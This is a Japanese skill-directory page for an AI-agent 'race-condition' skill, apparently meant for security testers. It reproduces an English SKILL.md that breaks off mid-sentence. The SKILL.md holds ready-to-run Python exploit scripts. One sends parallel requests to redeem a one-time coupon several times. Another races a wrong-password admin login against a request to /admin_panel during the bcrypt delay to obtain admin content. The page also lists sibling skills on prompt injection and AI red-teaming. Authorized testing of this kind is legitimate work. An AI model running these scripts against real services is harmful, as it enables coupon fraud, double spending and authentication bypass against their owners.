race-condition
できること
このスキルは、同時にリクエストを送ることで、Webアプリのタイミングのすきまを悪用できる仕組みを説明します。決済、クーポン、セッションの処理を確認するセキュリティテスター向けです。
使う場面
- ✓クーポン、残高、送金が同時リクエストで複数回使えてしまうかもしれないとき。
- ✓ログインやセッションの処理が、データを確認する前に書き込んでおり、そのタイミングをテストしたいとき。
- ✓セキュリティレビューで、確認と更新が1つの処理として行われているかを確かめたいとき。
スキルのリンク
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/race-condition/SKILL.mdコピーしてAI(Claude、ChatGPT、Cursor)に貼り付け、指示に従うよう頼んでください。
使い方
いちばん簡単な方法:メッセージをコピーしてAIに貼り付けるだけ。AIがスキルを読んで指示に従います。
貼り付け用メッセージ
Claude Code、Codex、Cursorの場合:プロジェクトのフォルダで実行するとスキルがインストールされます。
SKILL.mdをダウンロードして、エージェントのスキル用フォルダに入れてください。
AIへの頼み方の例
“私のクーポンコードが、同時に多くのリクエストを送ると2回使えてしまうか確認してください。”
毎週5つの新しいスキル。1分で読めます。
仕組み
エージェントは、よく似た多くのリクエストを同時に送り、結果を比べます。変更が保存される前に、確認が複数回通ってしまうかを見ます。
技術的な内容(元のSKILL.md)
作者による元のテキスト(英語)をGitHubからそのまま表示しています。
Race Conditions (TOCTOU)
Exploits applications that check authorization or state at one moment and act on it at another, or that write session state before validating it. The race window is the time between check and act — wider windows (slow ops like bcrypt/Argon2, DB round-trips, network calls) make the race trivially winnable.
Recognition Signals
Trigger this skill when ANY of the following are present:
- Slow auth path: bcrypt/Argon2/PBKDF2 in login (>50ms login latency on wrong password). The hash compute widens any race window touching the same session row.
session[k] = form[k]BEFORE validation: e.g. login writessession["user"] = posted_usernamebefore checking the password — the session row carries attacker-chosen state during the bcrypt sleep.- Check-then-act money flows: balance/quota/coupon/transfer endpoints that do
if x.balance >= n: x.balance -= nwithout a single atomic UPDATE-with-WHERE-balance>=n. - Idempotency-key-less POSTs to mutating endpoints — same payload N times in parallel produces N writes.
- Challenge tag includes
race_condition,toctou,concurrent,last-write-wins, ordouble-spend. (Note:smuggling_desyncis a parser-disagreement attack, NOT a race — route to/skills/standard/exploit/web/smuggling/SKILL.md.) - Session-coupled endpoints: a POST that mutates session, AND a GET that trusts that session, both reachable concurrently.
Single-Endpoint Race — Double Submit
Classic case: one endpoint, fire N parallel requests with the same payload. Server check-then-act loses to itself. Always start here — it's the cheapest probe.
# python3 -c "$(cat << 'PY' ... PY)" — keep timeout ≤ 5s, count ≤ 30
python3 - <<'PY'
import concurrent.futures, requests, sys
URL = "https://<TARGET>/redeem"
COOKIES = {"session": "<SESSION>"}
PAYLOAD = {"coupon": "ONETIME50"}
N = 20
def fire(_):
return requests.post(URL, cookies=COOKIES, data=PAYLOAD, timeout=5).status_code
with concurrent.futures.ThreadPoolExecutor(max_workers=N) as ex:
codes = list(ex.map(fire, range(N)))
print("status counts:", {c: codes.count(c) for c in set(codes)})
print("non-error wins:", sum(1 for c in codes if 200 <= c < 300))
PY
Win condition: more than one 200/201 for an operation the server documents as one-shot (single coupon redeem, single transfer). Verify by reading the user's balance/redemption history AFTER the burst — multiple debits/credits = race won.
Verification (≥3 reproductions)
A single race win can be lucky scheduling. Re-run the burst at least 3 times against fresh state (new coupon, reset balance, fresh session if needed). Race condition is only confirmed if ≥3 of 3 reproductions show duplicate writes.
# Repeat the burst across 3 fresh trials
python3 - <<'PY'
import concurrent.futures, requests
# ... fire 20 parallel POSTs, count successes ...
# Run 3 times against reset state, log each trial's win count.
PY
Multi-Endpoint State-Leak Race
The high-impact case: one endpoint writes session state during a slow op (e.g. login during bcrypt), a second endpoint reads that session state, both fired in parallel. The attacker hits the read endpoint while the write endpoint is mid-bcrypt — the session carries privileged state but no valid auth has happened yet.
Pattern:
POST /loginwithusername=admin&password=wrong— server writessession["user"]="admin"BEFORE bcrypt, returns 401 only after bcrypt completes (~200ms).GET /admin_panel— checks onlysession["user"] == "admin".- During the bcrypt window,
/admin_panelreturns admin content. After bcrypt,/loginclears the session and returns 401.
python3 - <<'PY'
import concurrent.futures, requests, time
S = requests.Session()
LOGIN = "https://<TARGET>/login"
TARGET = "https://<TARGET>/admin_panel"
CREDS = {"username": "admin", "password": "wrong"}
def hit_login():
return S.post(LOGIN, data=CREDS, timeout=5).status_code
def hit_target():
# Stagger by ~50ms so the read lands inside the bcrypt window
time.sleep(0.05)
r = S.get(TARGET, timeout=5)
return r.status_code, len(r.content), r.text[:200]
with concurrent.futures.ThreadPoolExecutor(max_workers=2) as ex:
f1 = ex.submit(hit_login)
f2 = ex.submit(hit_target)
print("login:", f1.result())
print("target:", f2.result())
PY
Tune the stagger (time.sleep) to fit the slow-op latency you measured during recon. Always rely on recon's "Session-write
よくある質問
「確認時と利用時のずれ」とは何ですか?
アプリが条件を確認してから後で処理をする間に、その条件が変わってしまう不具合のことです。
遅いログイン処理も対象ですか?
はい。パスワードのハッシュ処理が遅いと、タイミングのすきまが広がりうると挙げています。
リクエストスマグリングと同じですか?
いいえ。リクエストスマグリングは、解析の食い違いを狙う攻撃で、別のスキルの対象だとしています。
詳細
作者による元の説明
Race condition / TOCTOU exploitation — concurrent and parallel-request attacks against web applications that check then act, write session state before validating it, or perform slow operations that widen the race window. Covers single-endpoint races (double-spend, coupon abuse, balance overflow) and multi-endpoint state-leak races where a session write on one endpoint leaks privilege into another endpoint mid-request.
人気
- GitHubのスター
- 6.5k
- ランキング
- #14077
- ライセンス
- Apache-2.0
- 更新日
- 2026/11/1
コメント
- …
このリポジトリの他のスキル
detector-overview
6.5kエージェントが、スキャナーが指摘したコードを読み、本物のセキュリティバグと誤検知を見分けられるよう支援します。
exploiter-overview
6.5kエージェントが、確認済みの複数のセキュリティ上の弱点を一つのテストの連鎖にまとめ、その影響がどこまで及ぶかを確認できるよう支援します。
llm-redteam-overview
6.5kエージェントが、プロンプトインジェクションからモデルの悪用まで、15の戦術グループの中から適切なAIレッドチーム用ガイドを見つけられるよう支援します。
aatmf-t01-prompt-injection
6.5kプロンプトインジェクションを説明します。隠された指示でAIシステムを乗っ取ろうとする手口を、セキュリティテスターが確認できるようにします。
似ているスキル
reverse-engineer-anything
422kREAツールを使って、出荷済みのアプリやパッケージの中身を調べ、機能の説明、版の比較、再構築の手順をエージェントが支援します。
1password
394k1Password CLIをセットアップし、サインインして、秘密情報の値を会話に表示せずに読み取ったり注入したりするようエージェントを支援します。
healthcheck
394kOpenClawを動かすコンピューターやサーバーを、SSH、ファイアウォール、更新、バックアップなどのセキュリティリスクについて監査し、安全な修正案を提案するようエージェントを支援します。